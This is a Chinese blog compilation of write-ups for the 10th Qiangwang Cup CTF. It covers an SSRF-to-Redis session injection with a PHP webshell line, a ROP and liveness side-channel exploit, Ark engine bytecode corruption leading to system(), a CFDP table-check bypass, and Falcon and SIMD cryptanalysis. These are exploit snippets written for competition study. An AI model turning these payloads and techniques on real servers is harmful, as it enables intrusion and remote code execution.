2026年第十届“强网杯”网络安全大赛

2026年第十届“强网杯”网络安全大赛

第十届强网杯 WP 合集,整理 ezephp、NeuronShuffle、谍影、babysilent、babyark、babystar、frozen 与 vmshare 的解题思路、关键代码及结果。

这篇文章整理第十届“强网杯”网络安全大赛的解题记录,按 Web、Misc、Pwn 和 Crypto 分类,保留关键分析、利用过程和脚本入口,方便赛后回顾。

同一道题的多份记录已合并。文中的运行结果来自原始解题记录;仅有脚本或答案的题目会注明资料范围。历史实例的地址和端口不作为复现目标,运行脚本时需替换为自己的题目环境。

参赛感受

这次强网杯,我被题目打爆了。打完最直观的感受就是:题目是真难,我也是真菜。

看看这些题的思路:没有输出就靠进程存活状态一点点读 flag,从损坏的浮点数据里恢复密钥,逆完算法还要面对不能唯一确定的答案……整理 WP 的时候也忍不住想,这些突破口到底是怎么想到的。看懂解题过程和自己在比赛里想到,差距还是挺大的。

菜归菜,还是把记录留下来。暂时没吃透的地方就慢慢补,能弄明白一道是一道。希望下次再碰到类似的题,能少一点“这是什么”,多一点“这个我见过”。

题目索引

方向题目核心思路记录情况
Webezephp(题面 ezphp)SSRF → Redis 会话注入 → Guzzle 析构写文件有完整过程、PoC 和 flag
MiscNeuronShuffle模型结构分析、随机数种子匹配、置换生成有完整过程和 flag
Misc谍影6 个小问的答案整理仅有答案
Pwnbabysilent栈溢出、ROP、进程存活侧信道有完整过程、脚本和 flag
PwnbabyarkArk 字节码修改、TypedArray 越界、任意读写有利用脚本,无运行结果
PwnbabystarCFDP 重叠写入、表校验绕过、消息转发有利用脚本,无运行结果
CryptofrozenFalcon LDL 树纠错、Gram 谱恢复有分析记录,未提供完整脚本及 flag
CryptovmshareSIMD ARX 逆向、中间相遇、等价密钥分析有推导及最终提交记录,未提供求解器文件

Web · ezephp

入口分析:只能访问回环地址的 SSRF

题面为 ezphp,how 2shell???。原记录中的目标是 Nextcloud 应用,额外暴露的 /flag.php 会向外部请求展示源码,其中有两个值得关注的逻辑:

  1. 来自回环地址、User-Agent 以 qwb2026 开头且不携带指定代理头的请求,可以读取一个内部文件。
  2. 外部请求可以传入 url,服务端通过 cURL 访问,但只允许主机为 127.0.0.1、::1 或 localhost。

这里对协议用了黑名单,遗漏了 gopher。直接让服务端访问 http://127.0.0.1/flag.php 会失败,因为 cURL 的 User-Agent 被固定为 internal-preview/1.0;用 Gopher 发送原始 HTTP 报文,则可以自己设置请求头:

python
from urllib.parse import quote_from_bytes

raw = (
    b"GET /flag.php HTTP/1.1\r\n"
    b"Host: 127.0.0.1\r\n"
    b"User-Agent: qwb2026\r\n"
    b"Connection: close\r\n\r\n"
)
url = "gopher://127.0.0.1:80/_" + quote_from_bytes(raw, safe="")

这一步能得到 flag{You_are_so_smart_8080},但原记录确认它是干扰项,来自 /opt/ctf/internal/flag.txt。真正的目标文件为 /flag,因此还需要继续寻找代码执行入口。

Redis 会话成为对象注入入口

通过 SSRF 可以访问回环地址上的 Redis。原记录中,部分枚举、配置命令被禁用,但 GET、SET 和 EVAL 仍然可用。

突破口是 PHP 会话存储。访问登录页后,应用会下发会话 Cookie,Redis 对应的键为:

text
PHPREDIS_SESSION:<sid>

注意区分会话 ID 与 oc_sessionPassphrase:后者是应用会话加密使用的口令 Cookie,不能直接当作 Redis 键的后缀。

原会话值使用 PHP 的 php 序列化格式:

text
encrypted_session_data|s:388:"cipherHex|ivHex|hmacHex|3";

这一格式以 变量名|序列化值 组织数据。只要能改写会话存储,就可以尝试把值替换为:

text
x|<序列化对象>

当应用再次加载该会话时,PHP 会解码其中的对象。这里的关键是底层会话记录已可写,应用正常业务数据的加密并未覆盖攻击者新增的这个会话变量。

Guzzle FileCookieJar 析构写文件

利用链选择应用依赖中的 GuzzleHttp\Cookie\FileCookieJar:

text
会话解码
  → FileCookieJar 对象实例化
  → __destruct()
  → save(filename)
  → file_put_contents(filename, json_encode(cookies))

控制保存路径和 Cookie 的 Value,就能把 PHP 代码放进写出的 JSON 文件。原记录使用的内容为:

php
<?php echo 'QWBSTART';system($_GET[0]);echo 'QWBEND';?>

文件外层虽然是 JSON,PHP 解释器仍会执行 <?php ... ?> 内的代码。Cookie 数据同时设置了非零 Expires 和 Discard=false,以满足持久化条件。

这里有三个影响利用成败的细节:

  • 私有属性中的 NUL 字节:序列化属性名含 \x00,原环境的 Gopher URL 无法直接传递。将 payload 按 NUL 切块,通过 Redis EVAL 使用 string.char(0) 重新拼接。
  • 目录和文件权限不同:Web 根目录不能新建文件,但已有的 status.php 可写,因此选择覆盖该文件。
  • JSON 转义:嵌入的 PHP 代码避免使用会被 JSON 转义的双引号,否则写出的代码可能产生语法错误。

服务端拼接会话值的核心 Lua 如下:

lua
local z = string.char(0)
local p = {}
for i = 1, #ARGV do
    p[i] = ARGV[i]
end
redis.call('set', KEYS[1], table.concat(p, z))
return 1

完整利用顺序与结果

  1. 访问登录页,取得自己的会话 ID。
  2. 构造 FileCookieJar 序列化对象,把写入目标设置为 /var/www/html/status.php。
  3. 使用 Gopher 向 Redis 发送 RESP 格式的 EVAL 命令,改写自己的会话记录。
  4. 携带原会话 Cookie 再次访问登录页,触发会话解码和对象析构。
  5. 通过 SSRF 访问被覆盖的 status.php,执行 cat /flag。

下载完整 PoC。脚本的 BASE 需要替换为题目实例地址。

原记录给出的最终 flag:

text
flag{36a0371e-df37-4bfa-81e4-5a022225d5db}

这道题的连接点在于:SSRF 提供了内网访问能力,Redis 提供了会话写入能力,PHP 会话解码与依赖库中的析构方法又把数据写入转成了文件写入。

Misc · NeuronShuffle

从模型重复结构入手

附件包括 check.py、model_A.npz 和 model_B.bin。校验器会把输入的三段整数序列归一化,然后计算摘要:

python
canon = ";".join(
    ",".join(str(int(v)) for v in part.split(","))
    for part in text.strip().split(";")
)
body = hashlib.sha256(canon.encode()).hexdigest()[:32]

整数的顺序会影响摘要,归一化不会排序。题目最终需要的是三个有序序列。

对 model_A.npz 的矩阵做去重,可以看到明显的行、列克隆结构:

矩阵形状互异行互异列互异值
k548 × 321432448
k240 × 481213156
k632 × 401011110
k116 × 321610160

这些矩阵符合 W[i][j] = T[r_i][c_j] 的结构。大矩阵来自较小的随机表,再通过索引映射扩展。偏置也与行分组对应。

容器层另一个容易误判的地方是 NPZ 的 ZIP64 扩展:原记录发现的 160 字节差额,实际来自 8 个条目各 20 字节的扩展头,不能据此认定有隐写内容。model_B.bin 未发现有用结构,最终解法没有使用它。

匹配生成权重的随机数流

互异浮点值的分布接近标准差为 0.6 的正态分布,于是尝试:

python
rng = np.random.default_rng(seed)
stream = rng.standard_normal(6000) * 0.6

原记录匹配到种子 20261101,模型中的 874 个互异权重值和 52 个互异偏置值,都能在生成流中找到对应。

匹配时必须保持尺度一致:可以将模型值与 standard_normal(...) * 0.6 比较,也可以先把模型值除以 0.6。不能把缩放前后的数直接比较。

按随机数流的位置,可以还原出四个小矩阵及偏置:

区间(含两端)内容
0–447T1,14 × 32
448–461b1,14 个值
462–629T2,12 × 14
630–641b2,12 个值
642–785T3,12 × 12
786–797b3,12 个值
798–957T4,16 × 10
958–973b4,16 个值

部分行列没有被扩展索引使用,解释了观测维数与原始小表维数的差异。

用相邻日期种子生成答案

模型结构给出三个隐藏层规模 48、40、32。原记录尝试相邻日期种子 20261102,使用同一个 generator 连续生成三个置换,得到校验通过的答案。

这一步属于基于生成习惯的候选尝试,成功依据是题目校验器接受了结果。仅凭模型中的重复分组,不能直接推出这三个置换。

python
import hashlib
from pathlib import Path
import numpy as np

with np.load("model_A.npz") as model:
    sizes = [model["k5"].shape[0], model["k2"].shape[0], model["k6"].shape[0]]

rng = np.random.default_rng(20261102)
answer = ";".join(
    ",".join(map(str, rng.permutation(n).tolist()))
    for n in sizes
)
Path("answer.txt").write_text(answer, encoding="utf-8")
body = hashlib.sha256(answer.encode()).hexdigest()[:32]
print(f"flag{{{body}}}")

三个置换必须来自同一个 generator 的连续调用。分别重新初始化 generator 会得到不同结果。生成 answer.txt 后,用附件的 check.py 校验:

bash
python check.py answer.txt

原记录的校验结果:

text
[+] correct! flag = flag{5c2aabdc937513bde1ba502f14cc51b6}

Misc · 谍影

现有材料只保留了 6 个小问的最终答案,没有题面、取证附件与分析过程。这里按原格式记录,保留竖线分隔符;不据答案反推具体取证步骤。

第 1 题

text
pve-lab|219

第 2 题

text
1024|768|ce1f5a34c7370f7f20038d9683f1d9b3bdc6dfc51e7db1b5f8798565dac27334

第 3 题

text
10.23.8.41:3389|CORE01\Tsuki

第 4 题

text
NT4VP5X842DD|d7d68e7ed46b6f1082ceaa797b7493e4cad96e00bc45a264bc8cf8a80960b48d

第 5 题

text
006187393179

第 6 题

text
core-assets.db|2424832|5dec31e12a4d02f09d82e254cd752f5ba64bb254472e1111234af2c0e8441419

Pwn · babysilent

题目限制:能读 flag,却不能直接输出

程序开启 PIE、NX、Canary 和 Full RELRO。main 先调用 open_flag() 打开 flag,再读取两次名字。核心逻辑可概括为:

c
open_flag();                   /* 原记录中 flag 位于 fd 3 */
size = getnum();                /* size <= 0x88,即 136 */
get_input(buf, size);
printf("Your name is: %s\n", buf);
get_input(buf, size);
sleep(1);
blind();                       /* 关闭 stdout、stderr,启用 seccomp */
/* 检查 canary,然后返回 */

buf 位于 rbp-0x60,Canary 位于 rbp-0x8,两者相距 88 字节。输入上限为 136 字节,能够覆盖保存的帧指针、返回地址及后面的部分栈空间。

难点在于 blind():关闭标准输出、标准错误后,沙箱只允许 read、exit 和 exit_group。flag 已经打开,可以通过 read(3, ...) 读取,却无法使用常规输出系统调用送回客户端。

一次字符串输出泄露 Canary 和 PIE

Canary 的最低字节是 NUL。第一次输入 89 个非零字节,覆盖它的最低字节,随后 printf("%s") 就可能继续输出 Canary 的剩余 7 字节和后面的指针。

在该题记录的布局中,保存的 rbp 槽位含有镜像内固定位置的指针,泄漏长度为 103 字节时按下面方式解析:

python
# u64 为脚本中的小端整数解析函数
canary = b"\x00" + data[89:96]
pie = u64(data[96:102]) - 0x2005a0

如果中间又遇到 NUL,泄漏会提前终止,脚本选择重新连接。第二次输入时必须写回真实 Canary,使程序通过栈保护检查。

短 ROP 链换取 BSS 中的长链

第二次输入空间有限,先调用 get_input 向 BSS 写入后续 payload,再通过 leave; ret 迁移栈。

现有脚本构造的 136 字节布局为:

text
88 字节填充
+ Canary
+ saved rbp = CHAIN - 8
+ pop rdi; ret
+ CHAIN
+ get_input
+ leave; ret

这里利用了该环境中残留的 esi 大长度值,使 get_input 能读取较长的数据。这个寄存器状态是具体程序的利用条件,换二进制或调用路径后必须重新确认。

长链写入 pie + 0x601100,随后执行三件事:

  1. 重复 read(3, B, 1) 共 k+1 次,把第 k 个 flag 字节读到 B。
  2. 调用 atoi,将猜测值放入 eax。
  3. 伪造栈帧,跳到 get_input 内的比较位置,判断 flag[k] > guess。

把比较结果编码为进程是否继续读入

若比较成立,就进入读循环。此时缓冲区指向循环自身的控制数据;后续输入持续改写长度、缓冲区指针和计数器,使程序不断消费标准输入。

若比较不成立,就跳过读取并退出。于是得到一个比较 oracle:

text
flag[k] > guess   → 子进程继续读入
flag[k] <= guess  → 子进程退出

题目附带的 wrapper 把外部输入转发到子进程的管道。子进程退出后,父进程继续写管道会失败。原记录的 TCP 前端未可靠转发后端 EOF,所以脚本通过持续发送模式数据,结合发送错误及 EOF 观测来判断状态,而非仅等待 recv() 返回。

得到比较结果后,二分一个字节最多需要 8 次判断:

python
def get_byte(k, oracle):
    lo, hi = 0, 255
    while lo < hi:
        mid = (lo + hi) // 2
        if oracle(k, mid):
            lo = mid + 1
        else:
            hi = mid
    return lo

脚本与结果

下载 babysilent 解题脚本。提供的版本使用 Python 标准库:

bash
python babysilent_solve.py -t10 -n42 HOST:PORT

参数 -t10 表示 10 个线程,-n42 表示提取前 42 个字节;也可以用 -k0,1,2,3,4 指定位置。

需要区分文字记录与附件实现:现有脚本没有 -s 起始位置参数、自动断点存储或明确的“连续 0.75 秒无发送进展”判据。不能把其他改写版本的这些功能直接套用到当前下载脚本上。

复现时还要注意:输入函数遇换行就停止,因此地址或长链中出现 \n 时需要重试;网络缓冲和平台转发方式也会影响存活判定,应先用已知前缀校准。读取越过文件末尾后,目标内存可能保留上次字节,原记录表现为末尾 } 重复,不能把重复字符继续拼进 flag。

原记录最终得到:

text
flag{237c77be-bed7-4a0d-9397-7d1a5e0260f2}

Pwn · babyark

本节根据提供的利用脚本整理。未提供题目二进制、完整运行日志和最终 flag,以下描述的是脚本构造的利用路径。

利用链概览

text
编译 JavaScript 为 Ark .abc
  → 修改虚拟寄存器操作数
  → 伪造 LexicalEnv 相关引用
  → 修改 TypedArray 长度
  → 伪造 JSArrayBuffer / JSNativePointer
  → 任意地址读写
  → 泄露 libark、libc 与栈位置
  → 栈上 ROP 调用 system

脚本先用 es2abc 编译一份 JavaScript,再解析 PandaFile 中的方法与代码段,对指定字节码打补丁。脚本要求 OpenHarmony 7.0 SDK 的编译器,并断言字节码版本为 24.0.0.0。

两处字节码修改

第一处修改 callee 中 MOV_V4_V4 的目标寄存器。脚本定位 44 05,把操作数字节改为 0x5B:

python
i = code.find(b'\x44\x05')
assert i >= 0, 'callee mov not found'
d[off + i + 1] = 0x5B

按脚本注释,该操作把值写向调用方词法环境相关位置。第二处修改 victim 中匹配到的 stlexvar 操作数,使写入槽位从 0 变成 1:

python
d[off + j + 1] = 0x10

JavaScript 中预先构造的浮点数位模式为 0x3FF000077FFFFFFF。结合伪造的环境引用,这个写入被用来修改目标 TypedArray 的长度。随后脚本检查 a.length === 0x7fffffff,未达到预期则结束当前利用。

修改代码后,还需要重算文件校验和:

python
struct.pack_into(
    '<I', d, 8,
    zlib.adler32(bytes(d[12:file_size])) & 0xffffffff
)

从数组越界扩展到任意读写

得到大长度数组后,脚本通过预先放置的标记寻找邻近对象:0x42 字节用于定位缓冲区,0x1234 和 0x2000 长度字段用于识别 ArrayBuffer、TypedArray 布局。

接着在可写区域伪造对象头与 NativePointer,修改另一个 TypedArray 的底层缓冲引用。之后通过改变伪造 NativePointer 的地址,再读写数组 u,实现对目标地址的访问。

脚本据此读取 NativePointer 中的函数指针,计算 libark 基址,再通过库内指针获得 libc 基址,并读取 environ 相关位置估计栈地址。最后在栈上写入:

text
pop rdi; ret
命令字符串地址
ret
system
exit

命令字符串为 cat /home/ctf/flag。完成写入后,脚本恢复部分被修改的对象字段,再等待控制流返回到 ROP 链。

复现入口

下载 babyark 解题脚本。原始文件虽以 .txt 命名,内容实际是 Python,这里以 .py 提供下载。

bash
python babyark_solve.py HOST PORT PATH_TO_ES2ABC

脚本把修改后的 ABC 文件 Base64 编码后提交给题目服务,并从响应中匹配 flag{...}。其中引擎对象布局、库偏移以及 envp - 0x140 的栈位置都依赖对应题目环境;当前材料没有保存最终输出,因此不列出具体 flag。

Pwn · babystar

本节根据 pwn3-babystar.py 整理。脚本面向卫星地面站题目,提供了文件上传、表加载和遥测接收流程;现有材料未附成功运行日志与最终 flag。

从文件上传走到内部命令

脚本没有使用常规栈溢出链,而是组合 CFDP 文件传输、表加载以及 HK、HS 的消息处理逻辑。目标是让内部 CF 应用发送 /cf/host/flag,客户端再从返回的 CFDP 文件数据中重组 flag。

构造的数据包括三张表和一个载荷消息:

数据用途
HK.CopyTable设置输入消息到输出消息的复制规则
HS.MsgActs_Tbl配置消息动作,内嵌触发消息
HS.AppMon_Tbl配置不存在的应用监控项,触发预设动作
carrier携带 CF 文件发送命令所需的数据

CFDP 重叠数据覆盖

upload(..., overlap=True) 会先上传一份外观上属于 HK.CopyTable 的文件内容,再在同一事务中,从相同偏移写入真正的目标表:

python
cover = table_image("HK.CopyTable", bytes(len(content) - 116))
versions = (cover, content)
for version in versions:
    for offset in range(0, len(version), 480):
        # 两个版本都从 offset=0 开始发送
        segment = offset.to_bytes(4, "big") + version[offset:offset + 480]

按脚本注释,首份文件数据用于通过 HK 表白名单检查,后发的重叠数据再覆盖内容。EOF 中提交的是最终目标内容的校验和与长度。

这里要关注的是检查时看到的内容与最终留存内容是否一致。仅凭脚本不能展开服务端全部实现细节,但两次同偏移上传的顺序明确反映了这一利用意图。

HK 复制与 HS 动作配合

HK 表除了保留常规项,还增加两条关键复制规则:

python
hk_entry(0x1888, 8,   0x18B3, 8, 136)
hk_entry(0x1888, 144, 0x18B3, 6, 1)

第一条把载荷主体复制到输出消息的数据区域,第二条修改输出消息头中的一个字节。HS 的消息动作表中则放入指定触发消息;应用监控表使用 NO_SUCH_APP 这一不存在的应用名来触发动作。

载荷中的 CF 参数包含:

text
source      = /cf/host/flag
destination = flag
destination EID = 23

脚本先激活 HK 表和 HS 消息动作表,再加载、验证应用监控表。发送 carrier 后,最后激活应用监控表,让触发动作发生在数据准备完成之后。

脚本入口与结果提取

下载 babystar 解题脚本。

bash
# 只构造载荷,检查长度,不连接题目服务
python babystar_solve.py --dry-run

# 在对应题目实例中运行
python babystar_solve.py HOST PORT

脚本中的长度断言为:

text
HK 表:2164 字节
HS 消息动作表:140 字节
HS 应用监控表:142 字节
carrier:145 字节
trigger:12 字节

客户端按数据偏移收集 CFDP 文件片段,排序拼接后匹配 flag{...}。这说明最终结果从文件传输通道返回;现有材料未保留匹配到的具体值。

Crypto · frozen

从损坏的 LDL 树恢复密钥材料

原记录描述的服务使用 Falcon 式 NTRU 关系:

fG−gF=qfG-gF=q

它把展开的双精度浮点 LDL 树序列化,再对其中的位进行随机翻转。加密密钥由整数多项式

D=fadj⁡(f)+gadj⁡(g)D=f\operatorname{adj}(f)+g\operatorname{adj}(g)

派生,形式为 sha256("frozen:" + ",".join(D))。因此目标是恢复精确的整数系数:浮点近似看起来合理还不够,只要最终某个系数差 1,派生出的密钥就会改变。

先对齐序列化布局

原记录指出,去掉头部 8192 字节后,树数据剩余 2304 个 double:

数据块double 数量
Ltop,128 个复数256
T(G00) 的内部节点896
T(Dright) 的内部节点896
T(G00) 的叶节点128
T(Dright) 的叶节点128

叶节点统一排在内部节点块之后。若误按递归遍历顺序解析,或者把 Ltop 当成 64 个复数,后续恢复就会使用错误位置的数据。

谱值满足:

G00,j=∣f(ρj)∣2+∣g(ρj)∣2G_{00,j}=|f(\rho_j)|^2+|g(\rho_j)|^2

Gram 矩阵的行列式关系又给出另一侧对角项:

Dright,j=q2G00,jD_{\mathrm{right},j}=\frac{q^2}{G_{00,j}}

两棵子树由此提供可以互相检验的信息,但配对时需要使用对应的互补路径,不能简单按同一路径逐项对比。

多路径估计、虚部过滤与聚类

树的逆变换可写为:

a=e(1+τ),b=e(1−τ)a=e(1+\tau),\qquad b=e(1-\tau)

其中 e 既可从左子树获得,也可由右子树结合节点数据反推。深度为 7 时,枚举两种恢复选择可得到 2^7 = 128 组候选估计。

该路线不先对每个节点做局部修补,而是给每个谱位置收集多个估计,再利用结构筛选:

  1. 用 |Im|/|Re| 过滤虚部异常的候选。理论上应为实数的位置,明显虚部可以作为损坏信号。
  2. 对剩余估计做数值聚类,统计各簇支持数。
  3. 使用另一棵树和镜像位置的候选交叉确认。
  4. 对不能稳定确定的位置,保留多个候选,交给整数恢复阶段检验。

原记录中,两棵树一致的候选簇优先采用;不一致时,再结合支持数量判断。

整数性检验与边界

D 的伴随对称结构使系数满足:

Di=−DN−i,DN/2=0D_i=-D_{N-i},\qquad D_{N/2}=0

在 N=128 时,可以用 64 个独立系数和 64 个独立谱值建立线性系统。解出实数近似系数后,计算它们到最近整数的平均距离:

defect=164∑i∣ci−round⁡(ci)∣\mathrm{defect}=\frac{1}{64}\sum_i|c_i-\operatorname{round}(c_i)|

正确候选应靠近整数。原记录以 defect < 10^{-2} 作为接受条件,并对可疑位置枚举候选组合,最后通过派生密钥、解密和重新加密比对进行确认。

注意,对称关系用于减少未知数,不能单独当作成功证明。它也并非任意实多项式都天然具备的性质,来源是这里 D 的具体构造。

原记录报告了 4 次服务实例恢复成功,合成实例测试为 15/16。失败样本说明:当某个谱位置的所有候选都被污染时,多路径投票也无法补回真值,这一路线并非对所有损坏样本都保证成功。

现有资料中的结果

材料只记录了 flag 前缀 flag{f49d0eed-…},末尾的 Flag 代码块为空,没有完整值。文中提到的 frozen_solve.py 也没有随本次材料提供,因此本节保留恢复方法与验证记录,不补写完整 flag 或虚构脚本下载地址。

Crypto · vmshare

把 AVX2 指令还原成 16 位运算

附件记录为 encryptor 和 32 字节的 cipher.bin。程序将两段十六进制数解析为 X、Y,分别生成密钥流,再串联两次变换:

text
A   = func1(X, 0x31415926)
B   = func1(Y, 0x27182818)
S1  = func2(A, K)
out = func2(B, S1)

初始密钥字符串为:

text
SIMD_TINY_BLOCK_IS_A_NIGHTMARE!!

AVX2 的 YMM 寄存器在这里可以拆成 16 个独立的 16 位 lane。vpaddw 对应模 2^16 加法,vpsrlw、vpsllw 对应逐 lane 移位,配合异或与按位或完成旋转和混淆。

把向量指令拆开后,核心是逐 lane 的 8 轮运算。以下为便于说明的算法表达,所有加法、移位结果均需按 16 位处理:

text
s = K XOR (K >> 5)
for i = 0..7:
    x = pt[i] + C[lane] + rotl16(s, 3)
    x = x XOR (x >> 7)
    x = rotl16(x, 9)
    if i != 7:
        x = x XOR (x >> 5)
    s = x

两个细节不能漏:各 lane 的常量 C 不同;最后一轮没有末尾的 x ^= x >> 5。

可逆链带来中间相遇攻击

固定明文输入后,模加、循环移位以及 x ^= x >> k 都可以求逆,因此可以从最终输出反推进入 func2 时的密钥状态。

func1 开始处又有:

text
seed &= 0xFFFFFF

于是两边各只有 24 位有效搜索空间,可以在中间状态 S1 对撞:

text
正向:枚举 X24 → func2(func1(X24, saltX), K) → 保存 S1
反向:枚举 Y24 → 从 out 逆推所需输入密钥 → 查找相同 S1

搜索量由朴素的 2^48 组合下降为两次 2^24 级别的枚举。原记录中的实现使用压缩指纹保存候选,命中后再比较全部 32 字节密文。

实现项原记录中的选择
表项40 位指纹与 24 位 X 合并为 64 位整数
内存2^24 × 8 字节,约 128 MiB
查找排序后二分
最终确认完整计算 16 个 lane,比较全部密文

截断指纹会产生碰撞,因此查表命中只是候选,不能省掉完整验证。

低 24 位与完整 flag 是两个问题

求解记录得到:

text
X & 0xFFFFFF = 0x174812
Y & 0xFFFFFF = 0x1AF718

重新计算的密文与附件记录一致:

text
e717f2249f53836b6e1792c01ddf37d43782463ce96711546045b23ddd537527

但每段输入有 7 位十六进制数字,即 28 位;运算前的掩码会丢弃最高 4 位。因此仅从加密计算看,每段有 16 个高位选择,两段共 16 × 16 = 256 组数值候选。

十六进制字母的大小写在数值解析后也不再保留。对于这两个后缀中的 A 和 F,若不额外施加字符格式限制,还会产生 4 种大小写写法,总计 1024 个文本候选。密文相同只能证明数值运算等价,不能证明每种文本都通过程序格式检查或平台答案匹配。

原始材料在这里存在一处需要保留的差异:前段称程序要求大写十六进制,末尾却记录小写答案提交成功。由于本次未提供 encryptor 与求解器文件,无法独立核对字符检查条件;这里分别保留“运算等价类”和“最终提交记录”,不把两者混成同一个结论。

最终提交记录

原记录中,补零候选 flag{0174812_01AF718} 提交失败,最终记录的成功答案为:

text
flag{3174812_31af718}

其中高位和字符大小写来自提交记录,不能由现有密文唯一推出。原文关于作者生成习惯的猜测没有足够证据,因此不作为解题推导保留。

本题最值得复盘的是信息丢失:找到等价密钥以后,还要检查输入中的哪些信息根本没有进入加密过程。只有把可恢复的部分和不可区分的部分分开,才能准确解释求解结果。

脚本与资料范围

文件内容
ezephp_solve.py从 Web 记录中提取的完整 PoC,运行前设置 BASE
babysilent_solve.py原始 Python 标准库利用脚本
babyark_solve.py原 TXT 中的 Python 脚本,依赖对应版本 es2abc
babystar_solve.py原始地面站协议利用脚本,支持 --dry-run

NeuronShuffle 的核心求解代码已放在正文。frozen、vmshare 原文提到但未附带的工具不列作可下载附件。本次整理未连接历史比赛实例;flag、耗时及成功记录均按已有材料呈现。

Windows系统优化
给博客接入 Giscus:用 GitHub Discussions 管理评论

评论区

使用 GitHub 账号登录后即可评论。

评论加载中…